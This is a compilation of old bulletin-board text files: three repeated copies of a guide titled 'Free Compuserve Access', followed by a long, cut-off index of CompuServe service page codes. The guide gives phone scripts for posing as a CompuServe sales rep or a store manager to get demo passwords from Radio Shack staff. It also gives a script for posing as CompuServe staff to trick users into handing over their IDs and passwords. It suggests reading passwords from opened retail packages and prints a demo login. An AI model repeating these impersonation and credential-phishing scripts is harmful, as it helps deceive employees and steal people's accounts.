  / /_/ / ___/ __ \/ __ \/ __ \/ _ \/ __/
 / ____/ /  / /_/ / /_/ / / / /  __/ /_     Trust No-One...
/_/   /_/   \____/ .___/_/ /_/\___/\__/  
                /_/                         Do Not Fear The Reaper,
prophet@illumini.demon.co.uk                Fear Your God-Damn Government

Free Compuserve Access

FREE COMPUSERVE ACCESS
---- ---------- ------

     There are several ways you can go about getting CIS passwords. The
ones with unlimited access are quite a bit harder but, first of all, the
simplest to get are Radio Shack demo accounts. You can't do much but 
they are still kinda fun. Good for doing research.

     Use a one of the following scams or a variation to obtain Radio Shack
demo accounts.

#1

     Call one of your local Radio Shack stores and say, 'hi, this is 
_______ , i'm your compuserve sales rep., We are doing a update on our
files, on all stores in the ______ area.  Then, ask them a bunch of
questions, like the manager's name, store location, store #, etc...  If
they tell ya this without any hesitation, then you've probably got
yourself a demo account. After they tell ya all that, tell them that you 
will need their present user id that they are using to do demonstrations
of compuserve.  Then, the kicker, ask them the password. If they tell ya, then 
thank them, and tell them if they have any questions to call you at
xxx-xxxx. Where xxx-xxxx is a number that is always busy.  That should
keep them from getting too suspicious.

#2

     I use this one the most, because I started out with the previous 
method, and switched to this one because of all of the info. I had
gathered about the stores in my area.
     Find out a manager's name of a particular store in your area, then
call another store in the same area! Be friendly, and say, "hello, this is
the manager of ______ and we can't seem to get our compuserve demo
password to work and we have a customer here who would like to see a demo
of the service. Would you mind giving us yours until we call our D.M. and
find out what ours was changed to? As long as the two managers don't know
each other, you will have a demo account.  By the way, D.M. is an
abbreviation that they use for district manager.

     Well, enough of this demo account Bullshit, once you have a demo 
account, log on to CIS.  Go to the national user listing.  Look at the
users in your area.  Write them down and then call information and get
their phone numbers.

     Call them up and tell them you are ____ from CIS.  Continue to tell 
them that because of a security breach, you are going to have to change
their password.  Tell them that in order to do so, you will need their
user id and old password.  Take it down, pretend you are typing on a
terminal or something then tell them that it will be changed to _______
make up an official sounding password. Now thank them and again, give them
a busy number to call if they have questions...I find that compuserve's
800 number works good. (It's always busy anyway.)

    The third and final way I will discuss involves something more than
talking on the phone.  Go into your Radio Shack, pull a CIS package off of
the wall. Rip open the pack, read and memorize the password. Walk out. I 
have been busted for shoplifting but never shopreading. When the initial
hour runs out,use a credit card to gain a additional 2hrs. Of service.

Have Fun!

P.S. If all else fails, there is always 77770,101 free-demo or free:demo
but that id is a total waste of time. Logon with it and see what I mean.

Getting Free Compuserve Access, by The Wanderjahr

FREE COMPUSERVE ACCESS
---- ---------- ------

     There are several ways you can go about getting CIS passwords. The
ones with unlimited access are quite a bit harder but, first of all, the
simplest to get are Radio Shack demo accounts. You can't do much but they
are still kinda fun.  Good for doing research.

     Use one of the following scams or a variation to obtain Radio Shack
demo accounts.

 #1

     Call one of your local Radio Shack stores and say, 'Hi, this is
______, I'm your CompuServe sales rep.  We are doing an update on our
files, on all stores in the ______ area.'  Then, ask them a bunch of
questions, like the manager's name, store location, store #, etc...  If
they tell ya this without any hesitation, then you've probably got
yourself a demo account. After they tell ya all that, tell them that you
will need their present user ID that they are using to do demonstrations
of CompuServe.  Then, the kicker, ask them the password. If they tell ya,
then thank them, and tell them if they have any questions to call you at
xxx-xxxx. Where xxx-xxxx is a number that is always busy.  That should
keep them from getting too suspicious.

 #2

     I use this one the most, because I started out with the previous
method, and switched to this one because of all the info I had gathered
about the stores in my area.
     Find out a manager's name of a particular store in your area, then
call another store in the same area! Be friendly, and say, "hello, this is
the manager of ______ and we can't seem to get our CompuServe demo
password to work and we have a customer here who would like to see a demo
of the service. Would you mind giving us yours until we call our D.M. and
find out what ours was changed to? As long as the two managers don't know
each other, you will have a demo account.  By the way, D.M. is an
abbreviation that they use for district manager.

     Well, enough of this demo account Bullshit, once you have a demo
account, log on to CIS.  Go to the national user listing.  Look at the
users in your area.  Write them down and then call information and get
their phone numbers.

     Call them up and tell them you are ______ from CIS.  Continue to tell
them that because of a security breach, you are going to have to change
their password.  Tell them that in order to do so, you will need their
user ID and old password.  Take it down, pretend you are typing on a
terminal or something then tell them that it will be changed to ______
make up an official sounding password. Now thank them and again, give them
a busy number to call if they have questions...I find that CompuServe's
800 number works good. (It's always busy anyway.)

    The third and final way I will discuss involves something more than
talking on the phone.  Go into your Radio Shack, pull a CIS package off of
the wall. Rip open the pack, read and memorize the password. Walk out. I
have been busted for shoplifting but never shopreading. When the initial
hour runs out, use a credit card to gain additional hrs. of service.

Have Fun!

P.S. If all else fails, there is always ID: 77770,101 Password: FREE-DEMO
but that ID is a total waste of time.  Logon with it and see what I mean.

The Wanderjahr
  Distributed in part by:

   Skeleton Crue  415-376-8060  located out of Moraga, California.
	 !!Get on the band wagon befor it RUNS YOU DOWN!!
 Headquarters for Computer Hackers and Anarchists to Overthrow the State
			      (CH&AOS)
[38] Tfiles: (1-49,?,Q) :

Free Compuserve Access

FREE COMPUSERVE ACCESS
---- ---------- ------

     There are several ways you can go about getting CIS passwords. The
ones with unlimited access are quite a bit harder but, first of all, the
simplest to get are Radio Shack demo accounts. You can't do much but they
are still kinda fun.  Good for doing research.

     Use one of the following scams or a variation to obtain Radio Shack
demo accounts.

 #1

     Call one of your local Radio Shack stores and say, 'Hi, this is
______, I'm your CompuServe sales rep.  We are doing an update on our
files, on all stores in the ______ area.'  Then, ask them a bunch of
questions, like the manager's name, store location, store #, etc...  If
they tell ya this without any hesitation, then you've probably got
yourself a demo account. After they tell ya all that, tell them that you
will need their present user ID that they are using to do demonstrations
of CompuServe.  Then, the kicker, ask them the password. If they tell ya,
then thank them, and tell them if they have any questions to call you at
xxx-xxxx. Where xxx-xxxx is a number that is always busy.  That should
keep them from getting too suspicious.

 #2

     I use this one the most, because I started out with the previous
method, and switched to this one because of all the info I had gathered
about the stores in my area.
     Find out a manager's name of a particular store in your area, then
call another store in the same area! Be friendly, and say, "hello, this is
the manager of ______ and we can't seem to get our CompuServe demo
password to work and we have a customer here who would like to see a demo
of the service. Would you mind giving us yours until we call our D.M. and
find out what ours was changed to? As long as the two managers don't know
each other, you will have a demo account.  By the way, D.M. is an
abbreviation that they use for district manager.

     Well, enough of this demo account Bullshit, once you have a demo
account, log on to CIS.  Go to the national user listing.  Look at the
users in your area.  Write them down and then call information and get
their phone numbers.

     Call them up and tell them you are ______ from CIS.  Continue to tell
them that because of a security breach, you are going to have to change
their password.  Tell them that in order to do so, you will need their
user ID and old password.  Take it down, pretend you are typing on a
terminal or something then tell them that it will be changed to ______
make up an official sounding password. Now thank them and again, give them
a busy number to call if they have questions...I find that CompuServe's
800 number works good. (It's always busy anyway.)

    The third and final way I will discuss involves something more than
talking on the phone.  Go into your Radio Shack, pull a CIS package off of
the wall. Rip open the pack, read and memorize the password. Walk out. I
have been busted for shoplifting but never shopreading. When the initial
hour runs out, use a credit card to gain additional hrs. of service.

Have Fun!

P.S. If all else fails, there is always ID: 77770,101 Password: FREE-DEMO
but that ID is a total waste of time.  Logon with it and see what I mean.

The Wanderjahr

   .______ ._____    ____
    |     \|     \ / ___  \      
    |    | \  |   \/   /  /      
    |  :   /  :   /  /  /___     
    .__|____\____/  \________\   
    1(410)XXX-XXXX / 16.8 Dual 


A Quick Compuserve Index

189  9

THIS FILE WAS ORIGINALLY POSTED ON OSUNY (914)428-7216,
UNLESS OTHERWISE NOTED. SUFFICIENT CREDIT SHOULD BE GIVEN TO
OSUNY WHEN POSTING THIS FILE ON OTHER SYSTEMS!

  The index which follows gives a complete list of the services
currently available on the regular CompuServe Information
Services and the pages numbers where they could be fond on
that system.  This index listing has over 800 lines of reference.
 *******************************
             INDEX
 -------------------------------
 COMPUSERVE INFORMATION SERVICE

 -------------------------------
 (Go 54 for quick access to
 page numbers in this index.)
 AAMSI Medical Forum:...Go SFP-5
 AID calculations:.....Go PCS-72
 AMEX prices (MQUOTE):.Go FIN-20
 ASCMD (SIG):...........Go SFP-7
 A.S.I. Monitor:.......Go ASI-10
 AVSIG:.................Go SFP-6
 Access:...............Go PCS-46
 Access phone numbers:Go CIS-177
 Adult education:......Go TCB-13
 Adventure game:.......Go GAM-11
 Advertisers, TODAY:......Go EBB
 Advertising:
  For sale.............Go HOM-24
  Notices..............Go HOM-24
  Today Magazine..........Go EBB
  Want ads.............Go HOM-24
 Advertising, classified:
  StL Post-Dispatch..Go SPD-1002
 Advice:
  Aunt Nettie.............Go NET
 African weather:......Go CNS-17
 Agribusiness:.........Go SFP-10
 Agricultural news:....Go CNS-14
 Air travel:
  Official Airline Guide..Go OAG
  Pan Am..................Go PAN
  Travel America..........Go TTN
  Travel Fax..............Go ESC
 Air travel delays:.......Go PDG
 Aircraft:................Go ASI
 Airline guide:...........Go OAG
 Airport delay guide:.....Go PDG
 Amateur Radio:........Go HOM-11
 Analogies test:.......Go TMC-15
 Apple, programs for:..Go PCS-45
 Apple User's Group:...Go PCS-51
 Appliances for sale:.....Go CUS
 Arcade (SIG):........Go HOM-138
 Art gallery:.........Go HOM-101
 Articles, computer:......Go PER

 Asian weather:........Go CNS-17
 Assoc. Press Access:..Go IND-52
 Assoc. Viewdata Wire:....Go APV
 Astrology Game:.......Go GAM-45
 Astronautics:........Go HOM-127
 Atari Forum:.........Go PCS-132
 Atari Newsletter:........Go ATR
 Athletic equipment:.Go CUS, HAN
 Athletic's Outfitter:....Go HAN
 Attorneys:............Go SFP-40
 Author's (SIG):......Go PCS-117
 Auto information:
  Gov't publication.....Go GPO-6
  Popular Science.........Go PSC
 Autos, buying:
  StL Post-Dispatch..Go SPD-1002
 Aviation:
  ASI Monitor..........Go ASI-10
  EMI Flight Planning.....Go EMI
  NWS Aviation Weather....Go AWX
  Official Airline Guide..Go OAG
  Peak Delay Guide........Go PDG
 Aviation Safety Inst:....Go ASI
 Aviation (SIG):........Go SFP-6
 Aviation weather:........Go AWX
 Bacchus Data Services:...Go VIN
 Banking, electronic:..Go HOM-45
 Banshi game:..........Go GAM-30
 Baseball (AP wire):...Go APN-16
 Basic CompuServe:.....Go PCS-73
 Beef prices:..........Go CNS-12
 Belmont Golf Association:Go BEL
 Belmont's golf (SIG):Go HOM-129
 Better Homes & Gardens:..Go BHG
 Billing, general:......Go CIS-4
 Billing, reviewing:..Go CIS-176
 Biorhythms:...........Go GAM-29
 Blackjack game:.......Go GAM-13
 Bliss language:.......Go PCS-74
 Book, ordering:
  Fifth Avenue Shopper....Go FTH
  Howard Sams' Books......Go SAM
  World Book Encyclopedia.Go WBE
 Boston, Shawmut Bank:....Go SHW
 Bridge game:..........Go GAM-18
 Broadcasting:............Go NPR
 Brokerage:...............Go UMC
 Budgeting, home:
  Gov't publications....Go GPO-4
  CompuServe...........Go HOM-80
 Bulletin board:.......Go HOM-23
 Business, farming:....Go SFP-10
 Business Information Wire:G BIW
 Business news:
  AP Viewdata Wire........Go APV

  Business wire...........Go TBW
  Canadian, U.S., Int'l...Go BIW
  CompuServe...........Go FIN-10
  Middlesex Daily.........Go MDN
  StL Post-Dispatch..Go SPD-1005
  Washington Post......Go TWP-12
 Business Outlook:........Go RLA
 Business, small:.........Go SBR
 CB Interest Group:.....Go HOM-9
 CB Radio simulation:
  Access to............Go HOM-21
  Instructions.........Go HOM-19
  Introduction.........Go HOM-18
 CB Society:..............Go CUP
 CEMSIG:..............Go CEM-450
 CompuServe command:...Go CIS-21
 CP/M user's group:....Go PCS-47
 Cable TV schedules:......Go SHO
 Cameras for sale:........Go CUS
 Canadian business news:..Go BIW
 Canadian currency exchg:.Go BIW
 Canning, home:........Go GPO-11
 Car care:................Go PSC
 Cassettes, radio:........Go NPR
 Cassette tapes for sale:.Go NPR
 Cattle prices:........Go CNS-12
 Changing terminal type:Go CIS-9
 Changing password:...Go CIS-175
 Charges, monthly:....Go CIS-176
 Checking, banking:....Go HOM-45
 Child care:............Go GPO-8
 Children, education:.....Go WBE
 Childrens' games:.....Go TMC-27
 Classified ads:
  StL Post-Dispatch..Go SPD-1002
 Clothing, fashion:.......Go GAN
 Clothing, sport:.........Go HAN
 Cocoa news:...........Go CNS-15
 Coffee news:..........Go CNS-15
 Color computer (SIG):Go PCS-126
 Color graphics:.......Go CIS-91
 Columbus area:
  Banks................Go HOM-45
  Chamber of Commerce.....Go CCC
  Education...............Go CCC
  SIG.................Go CCC-150
 Command level:........Go PCS-71
 Commentaries:
  Financial...............Go RLA
  Investment..............Go INV
  Video...................Go VIF
 Commodities calendar:..Go HCI-7
 Commodities future:...Go CNS-12
 Commodities glossary:Go HCI-230
 Commodity News Service:

  Agricultural news....Go CNS-14
  Commodity prices.....Go CNS-12
  Economic news...........Go CNS
  Futures indus news...Go FIN-10
  Futures mkt prices...Go CNS-12
  General news.........Go CNS-15
  Metals news..........Go CNS-15
  Weather..............Go CNS-17
 Commodore newsletter:....Go CBM
 Commodore VIC (SIG):.Go PCS-116
 Communications (SIG):Go HOM-147
 Comp-U-Store:............Go CUS
 Computer, books:.........Go SAM
 Computer club news:
  Computers & Electronics.Go CEM
  The Micro Advisor.....Go TMA-9
 Computer Magazine Index:.Go PER
 Computers & Electronics:.Go CEM
 Concentration game:...Go GAM-32
 Consumer items for sale:.Go CUS
 Consumer news:
  Software............Go PSP-102
 Continuing education:.Go TCB-13
 Cooking (SIG):.......Go HOM-109
 Corporate news release:..Go TBW
 Copper futures prices:Go CNS-12
 Copper news:..........Go CNS-15
 Cotton futures prices:Go CNS-12
 Cotton news:..........Go CNS-14
 Current rates:........Go CIS-53
 Database, how to use:.Go CIS-21
 dataFAMILIAE:............Go PFL
 Decwars game:.........Go GAM-19
 Decwars (SIG):.......Go HOM-111
 DEFALTS, setting:......Go CIS-6
 Department of State:.....Go DOS
 Disk area:............Go PCS-71
 Documentation ordering:Go CIS-8
 Dress:...................Go GAN
 Drugs:................Go HRC-20
 Drugs, medicine:.....Go GPO-399
 EMI Flight Plans:........Go EMI
 Economic news:........Go FIN-10
 Editorials:
  Washington Post......Go TWP-17
 Education:
  The College Board.......Go TCB
  The Multiple Choice.....Go TMC
  World Book Encyclopedia.Go WBE
 Education, family:.......Go PFL
 Educators' (SIG):....Go HOM-137
 Electronic banking:...Go HOM-45
 Electronic Bounce Back:..Go EBB
 Electronic mail:.........Go EMA
 Electronic shopping:.....Go CUS

 Eliza program:........Go GAM-15
 EMAIL:...................Go EMA
 Emergencies, health:...Go HRC-4
 Emergencies, auto:..Go GPO-1081
 Encyclopedia:............Go WBE
 Energy conservation:
  Gov't publications....Go GPO-9
  Popular Science.........Go PSE
 Energy news:..........Go CNS-15
 Entertainment:
  AP Viewdata Wire........Go APV
  CompuServe..............Go GAM
  Showtime................Go SHO
 European weather:.....Go CNS-17
 Executive, terminal:.Go PCS-103
 Expert, music:...........Go MUS
 FAA reports:..........Go ASI-12
 FOI Newsline:............Go FOI
 Facts, general:..........Go WBE
 Family budget:.........Go IDS-6
 Family life:.............Go PFL
 Family Matters Forum:Go HOM-144
 Fantasy game:.........Go GAM-16
 Farming:.........Go SFP-10, VIC
 Fashions:................Go GAN
 Federal gov't news:
  Associated Press News.Go APN-5
  Washington Post.........Go TWP
 Federal publications:....Go GPO
 Fedwatch newsletter:.....Go MMS
 Feedback, CompuServe:..Go CIS-8
 Feedbacks:
  College Board.........Go TCB-5
  Commodore...........Go CBM-200
  CompuServe............Go CIS-8
  Computers & Electron..Go CEM-8
  dataFamiliae.....Go PFL-11, 13
  Electronic Bounce....Go EBB-10
  Heinold Commodities..Go HCI-11
  Huntington...........Go HNB-17
  IDS.................Go IDS-243
  Micro Advisor.......Go TMA-500
  Microsoft News......Go MCS-112
  Multiple Choice......Go TMC-31
  Music...............Go MUS-502
  Tandy................Go TRS-15
  Travel Fax...........Go ESC-19
  Worldwide Exchanges...Go WWX-4
 Fifth Avenue Shopper:....Go FTH
 FILGE instructions:...Go CVP-23
 Finance:.................Go FIN
 Financial advice:.....Go TWP-12
 Financial aid,college:Go TCB-14
 Financial information:Go FIN-20
 Financial insurance:...Go IDS-5

 Financial news (AP):..Go IND-52
 Financial news,micros:Go TMA-24
 Financial services:...Go FIN-20
 Fire Fighters' (SIG):.Go SFP-30
 Fire prevention:......Go SFP-30
 Fireplaces, firewood:..Go GPO-9
 First Aid:...............Go HRC
 Fitness:...............Go GPO-5
 Flight operations:....Go ASI-11
 Flight plans:............Go EMI
 Flowers, ordering:.......Go FTH
 Focal:................Go PCS-76
 Food & Drug Admin:.......Go FOI
 Food information:
  FDA.....................Go FOI
  Food storage..........Go GPO-7
  For fitness...........Go GPO-5
  Freezing..............Go GPO-7
  Menu..........Go VIC, GPO, HRC
  Recipes.................Go BHG
 Football (AP wire):...Go APN-16
 Football game:........Go GAM-27
 For sale:
  Bulletin Board.......Go HOM-30
  Cassette tapes..........Go NPR
  Clothing, sport.........Go HAN
  Consumer goods..........Go CUS
 Fortran (XF4):........Go PCS-80
 Funds Management:........Go UMC
 Fur Trader game:......Go GAM-36
 Futures industry news:Go FIN-10
 Futures prices:.......Go CNS-12
 Games, computer:
  Adventure............Go GAM-11
  Astrology............Go GAM-45
  Backgammon...........Go GAM-31
  Banshi...............Go GAM-30
  Biorhythms...........Go GAM-29
  Blackjack............Go GAM-13
  Bridge...............Go GAM-18
  Chess................Go GAM-34
  Civil War............Go GAM-14
  Concentration........Go GAM-32
  Decwars..............Go GAM-19
  Dice.................Go GAM-33
  Eliza................Go GAM-15
  Fantasy..............Go GAM-16
  FasterMind...........Go GAM-17
  Football.............Go GAM-27
  Fur Trader...........Go GAM-36
  Golf.................Go GAM-21
  Gomoku...............Go GAM-22
  Hammurabi............Go GAM-37
  Hangman..............Go GAM-23
  Lunar Lander.........Go GAM-24

  Magic Cube solution..Go GAM-35
  Maze.................Go GAM-38
  Megawars.............Go GAM-20
  Mugwump..............Go GAM-39
  New Adventure........Go GAM-12
  Othello..............Go GAM-40
  Real-Time Star Trek..Go GAM-41
  Roulette.............Go GAM-42
  Scott Adams'.........Go GAM-28
  Scramble.............Go GAM-43
  Space War............Go GAM-25
  Star Trek............Go GAM-26
  Trivia test.............Go TMC
  Wumpus...............Go GAM-44
 Games (SIG):.........Go HOM-143
 Gandolf's Reports:.......Go GAN
 Gardening:...............Go VIC
 Gasoline, saving:...Go GPO-1131
 General banking:......Go HOM-45
 Godiva chocolate:........Go FTH
 Gold futures prices:..Go CNS-12
 Gold news:............Go CNS-15
 Golf, Belmont Golf Asso:.Go BEL
 Golf, Official PGA Tour:
  Biographies.............Go PGA
  Players.................Go PGA
  Statistics..............Go PGA
 Golf (SIG):..........Go HOM-129
 Gomoku game:..........Go GAM-22
 Good Earth (SIG):....Go HOM-145
 Grain prices:.........Go HCI-10
 Grains futures:.......Go CNS-12
 Ground water:............Go WWA
 Hammurabi game:.......Go GAM-37
 HamNet (SIG):.........Go HOM-11
 Hardware reviews:........Go TMA
 Handelmans' Athletic Sup:Go HAN
 Health:..................Go HRC
 Health Care:.............Go HRC
 Health and fitness:....Go GPO-5
 Health Resources:........Go HRC
 Health-Tex:..............Go HRC
 Heath User's Group:...Go PCS-48
 Heinold Commodities:.....Go HCI
 Help:................Go CIS-162
 Help (documentation):..Go CIS-8
 Hi-Tech Forum:.......Go CCC-150
 Hockey (AP wire):.....Go APN-16
 Home banking:.........Go HOM-45
 Home finance:.........Go HOM-80
 Home services:...........Go HOM
 Home management programs:
  Amortize a loan......Go HOM-17
  Calculate a raise....Go HOM-15
  Checkbook balancer...Go HOM-14

  Net worth............Go HOM-16
 Horticulture:....Go SFP-10, VIC
 House plants:............Go VIC
 Howard Sams' Books:......Go SAM
 Humor, satire:...........Go KCS
 Huntington, bank:........Go HNB
 Husbandry:............Go SFP-10
 IBM-PC (SIG):........Go PCS-131
 IDS:.....................Go IDS
 Immigration:........Go Pan, ESC
 Index:
  CompuServe..............Go IND
  Computer Periodical.....Go PER
 Industries, farming:..Go SFP-10
 Information, general:....Go WBE
 Information, music:......Go MUS
 Insurance:...............Go IDS
 Intelligence test:....Go TMC-28
 Interest rate:...........Go MMS
 Investment news:......Go FIN-10
 Investment News & Views:.Go INV
 Investments:  
  MicroQuote...........Go FIN-20
 Investors Diversified:...Go IDS
 Job, in the home:....Go HOM-146
 Jobs:
  StL Post-Dispatch..Go SPD-1002
 Jumbled words test:...Go TMC-43
 LDOS (SIG):...........Go PCS-49
 Languages on CompuServe:
  Bliss................Go PCS-74
  Focal................Go PCS-76
  Fortran..............Go PCS-80
  Macro................Go PCS-76
  Pascal...............Go PCS-77
  Snobol...............Go PCS-79
 Legal Forum:..........Go SFP-40
 Legal issues:.........Go SFP-40
 Library, electronic:.....Go WBE
 Lineprinter art:.....Go HOM-101
 Liquid Green:............Go UMC
 Literary (SIG):......Go HOM-136
 Livestock futures:....Go CNS-12
 Livestock prices:.....Go HCI-10
 Lobby Letters:...........Go LLA
 MMS Financial Analysis:..Go MMS
 MNET-11 (SIG):........Go PCS-53
 Macro:................Go PCS-76
 Magazine, advertisers:...Go EBB
 Magic Cube solution:..Go GAM-35
 Manuals, documentation:Go CIS-8
 Manufacturer's newsletters:
  Atari...................Go ATR
  Microsoft...............Go MCS
  RCA.....................Go RCA

  Tandy...................Go TRS
 Marine weather:..........Go WEA
 Market prices:........Go FIN-20
 Massachusetts, banking:..Go SHW
 Medical:
  AAMSI Forum...........Go SFP-5
  ASCMD Forum...........Go SFP-7
  FOI Newsline............Go FOI
 Medical Records:.........Go HRC
 Medicine, consumer:......Go HRC
 Metal futures prices:.Go CNS-12
 Metal prices:.........Go HCI-10
 Micro Advisor, The:......Go TMA
 Microcomputers:
  Advice..................Go TMA
  Atari...................Go ATR
  Financial news.......Go TMA-24
  General..............Go PCS-10
  Microsoft...............Go MCS
  RCA.....................Go RCA
  Tandy...................Go TRS
  What's new in........Go TMA-24
 MicroQuote:...........Go FIN-20
 Microsoft Newsletter:....Go MCS
 Microsoft (SIG):.....Go PCS-145
 Middlesex Daily News:....Go MDN
 Money market:............Go UMC
 Money supply:............Go MMS
 Monthly charges:.....Go CIS-176
 Mortgage budgeting:....Go GPO-4
 Movie, cable TV:.........Go SHO
 Movie reviews:
  CompuServe............Go NMM-1
 Multiple Choice, the:....Go TMC
 Music:...................Go MUS
 Music Info. Service:.....Go MUS
 Musus-Pascal (SIG):...Go PCS-55
 NASA:................Go HOM-127
 NIPSIG:..............Go HOM-132
 NWS weather:.............Go AWX
 NYSE prices (MQUOTE):.Go FIN-20
 Names of users:........Go HOM-4
 Nat'l Issues (SIG):..Go HOM-132
 National Water Well Ass:.Go WWA
 National Weather Service:Go AWX
 Netwits:.................Go WIT
 Netwits (SIG):.......Go WIT-100
 New product news:
  Popular Science.........Go PSP
  The Micro Advisor....Go TMA-24
 New services:............Go NEW
 News, CB:................Go CUP
 Newsletters:
  Atari...................Go ATR
  Commodore...............Go CBM

  Microsoft...............Go MCS
  RCA.....................Go RCA
  Tandy...................Go TRS
 Newspapers:...........Go HOM-10
 No. American weather:.Go CNS-17
 Notices (Bullet):.....Go HOM-23
 Nutritional analysis:Go GPO-401
 OK level:.............Go PCS-71
 OTC drugs:...............Go HRC
 OTC prices (MQUOTE):..Go FIN-20
 Official Airline Guide:..Go OAG
 Ohio, banking:...........Go HNB
 Ohio regional news:....Go APN-5
 Ohio Scientific(SIG):Go PCS-125
 Orch-90 music (SIG):..Go HOM-13
 PGA Official Tour Guide:.Go PGA
 PUG (Panasonic SIG):.Go PCS-114
 Pan Am:..................Go PAN
 Panasonic (SIG):.....Go PCS-114
 Parenting & Family Life:.Go PFL
 Pascal (SIG):.........Go PCS-55
 Password, changes:...Go CIS-175
 Peak Delay Guide:........Go PDG
 Periodical Guide:........Go PER
 Personal computing:......Go PCS
 Personal finance:
  Gov't publications....Go GPO-4
  Home Management......Go HOM-80
  Investors Diversified.Go IDS-6
 Personality profile:..Go TMC-17
 Pilot weather:...........Go AWX
 Plants:..................Go VIC
 Politics:
  AP Viewdata Wire........Go APV
  Middlesex Daily.........Go MDN
  Washington Post......Go TWP-15
 Popular Electronics:.....Go CEM
 Popular Science:
  Energy..................Go PSE
  New products............Go PSP
  Satellite TV............Go PSP
  Software reviews........Go PSP
 Pork prices:..........Go CNS-12
 Precious metals:......Go CNS-12
 Precious metals news:.Go CNS-15
 Prescriptions:.......Go GPO-399
 Prime interest rate:.....Go HNB
 Programming area:.....Go PCS-71
 Programming languages:Go PCS-72
 Programs from users:..Go PCS-46
 Programs for sale:....Go PCS-45
 Public access:........Go PCS-46
 Quick Quote:..........Go FIN-20
 RCA Newsletter:..........Go RCA
 RCA (SIG):............Go PCS-57

 Radio, amateur:.......Go HOM-11
 Radio Network:...........Go NPR
 Radio Shack computers:...Go TRS
 Rates, CompuServe:....Go CIS-53
 Raylux Associates:.......Go RLA
 Real estate, ads:
  StL Post-Dispatch..Go SPD-1002
 Recipes:.................Go BHG
 Recipes (SIG):.......Go HOM-109
 Recordkeeping, home:.Go GPO-228
 Reference guide:.........Go WBE
 Referral Service, law:Go SFP-40
 Regulatory Affairs Prof:.Go FOI
 Reservations, airline:
  Travel America..........Go TTN
 Resource, water:.........Go WWA
 Reviews, hardware:.....Go TMA-9
 Reviews, movie:
  CompuServe...........Go HOM-20
 Reviews, software:
  Popular Science.....Go PSP-103
  The Micro Advisor.....Go TMA-9
 SAT test information:.Go TCB-18
 SIGS:
  AAMSI.................Go SFP-5
  ASCMD.................Go SFP-7
  AVSIG.................Go SFP-6
  Arcade..............Go HOM-138
  Atari...............Go PCS-132
  Author's............Go PCS-117
  CBIG..................Go HOM-9
  CEMSIG..............Go CEM-450
  Commodore...........Go PCS-116
  Communications......Go HOM-147
  Cooks' Underground..Go HOM-109
  CP/M Group...........Go PCS-47
  Decwars.............Go HOM-111
  Educators'..........Go HOM-137
  Family Matters......Go HOM-144
  FireNet..............Go SFP-30
  Games...............Go HOM-143
  Golf................Go HOM-129
  Good Earth..........Go HOM-145
  HamNet...............Go HOM-11
  Hi-Tech Forum.......Go CCC-150
  HUG (Heath)..........Go PCS-48
  IBM-PC..............Go PCS-131
  LDOS TRS-80..........Go PCS-49
  Legal Forum..........Go SFP-40
  Literary............Go HOM-136
  MAUG (Apple).........Go PCS-51
  Microsoft...........Go PCS-145
  MNET-11..............Go PCS-53
  MNET80 TRS-80........Go PCS-54
  MUSUS=Pascal.........Go PCS-55

  Netwits.............Go WIT-100
  NIPSIG..............Go HOM-132
  ORCH-90..............Go HOM-13
  OSI.................Go PCS-125
  PUG (Panasonic).....Go PCS-114
  RCA Group............Go PCS-57
  Space...............Go HOM-127
  Sports..............Go HOM-110
  TeleComm.............Go PCS-52
  TRS-80 color........Go PCS-126
  VTOS ST80............Go PCS-56
  Work-at-Home........Go HOM-146
 St. Louis Post-Dispatch:.Go SPD
 Sams, Howard Books:......Go SAM
 Satellite:...............Go NPR
 Satellite TV signals:.Go PSP-36
 Satire:..................Go KCS
 Saving Accounts:......Go HOM-45
 Scott Adams' games:...Go GAM-28
 Scramble game:........Go GAM-43
 Securities:
  Information.............Go MMS
 Self-employment:.........Go SBR
 Self-Health:.............Go HRC
 Shawmut, bank:...........Go SHW
 Shop-at-home:.........Go HOM-40
 Shopping, muscial:.......Go MUS
 Showtime Entertainment:..Go SHO
 Shuttle, space:......Go HOM-127
 Silly Fill-Ins:.......Go TMC-41
 Silver futures prices:Go CNS-12
 Silver news:..........Go CNS-15
 Ski conditions:..........Go WEA
 Small Business Reports:..Go SBR
 Smoking and health:..Go GPO-398
 Snobol:...............Go PCS-79
 SOFTEX:...............Go PCS-45
 Software Authors' SIG:Go PCS117
 Software Exchange:....Go PCS-40
 Software reviews:
  Popular Science.....Go PSP-103
  The Micro Advisor.....Go TMA-9
 So. American weather:.Go CNS-17
 Space (SIG):.........Go HOM-127
 Special Interest Groups:
  Access to.Go HOM-50, Go PCS-50
  Commercial...........Go PCS-50
  Descriptions.Go HOM-50, PCS-50
  General..............Go HOM-50
  Hardware related.....Go PCS-50
  Instructions.Go HOM-51, PCS-58
  Software related.....Go PCS-50
 Sport, clothes:..........Go HAN
 Sports news:
  Golf....................Go PGA

  StL Post-Dispatch..Go SPD-1005
  Scores (AP)..........Go APN-16
 Sports (SIG):........Go HOM-110
 Sports quiz:..........Go TMC-42
 Spotlight, CBers:........Go CUP
 Standard & Poors:.....Go FIN-20
 Star Trek game:.......Go GAM-26
 State capital games:..Go TMC-44
 Stereos for sale:........Go CUS
 Stevens Business Reports:Go SBR
 Stocks, bonds:
  MicroQuote...........Go FIN-20
  Quick Quote..........Go FIN-20
  Raylux advisory.........Go RLA
 Sugar futures prices:.Go CNS-12
 TMC for kids!:........Go TMC-27
 TRS-80 color (SIG):..Go PCS-126
 TRS-80 computers:........Go TRS
 TRS-80, MNET80 (SIG):.Go PCS-54
 TRS-80, programs for:.Go PCS-45
 Tandy Corp. news:........Go TRS
 Technical books:.........Go SAM
 TeleComm (SIG):.......Go PCS-52
 Telephone access:....Go CIS-177
 Tele-Traveler Network:...Go TTN
 Tennessee, banking:..Go HOM-141
 Terminal parameters:...Go CIS-6
 Terminal software:...Go PCS-103
 Terminal types:........Go CIS-6
 Tests, children:......Go TMC-27
 Tests, interactive:....Go TMC-4
 Tests, SAT:...........Go TCB-18
 Text editors:.........Go PCS-82
 The College Board:
  Adult education......Go TCB-13
  Choosing a college...Go TCB-17
  Financial aid........Go TCB-12
  Publications of......Go TCB-15
  SAT test information.Go TCB-18
 The National Satirist:...Go KCS
 Time used:...........Go CIS-176
 TODAY, advertisers:......Go EBB
 Trading, commodities:.Go FIN-10
 Travel:
  Department of State.....Go DOS
  Official Airline Guide..Go OAG
  Pan Am..................Go PAN
  Travel America..........Go TTN
  Travel Fax..............Go ESC
  Worldwide Exchanges.....Go WWX
 Travel, abroad:
  Department of State.....Go DOS
  Official Airline Guide..Go OAG
  Pan Am..................Go PAN
  Travel America..........Go TTN

  Travel Fax..............Go ESC
 Travel, advisories:......Go DOS
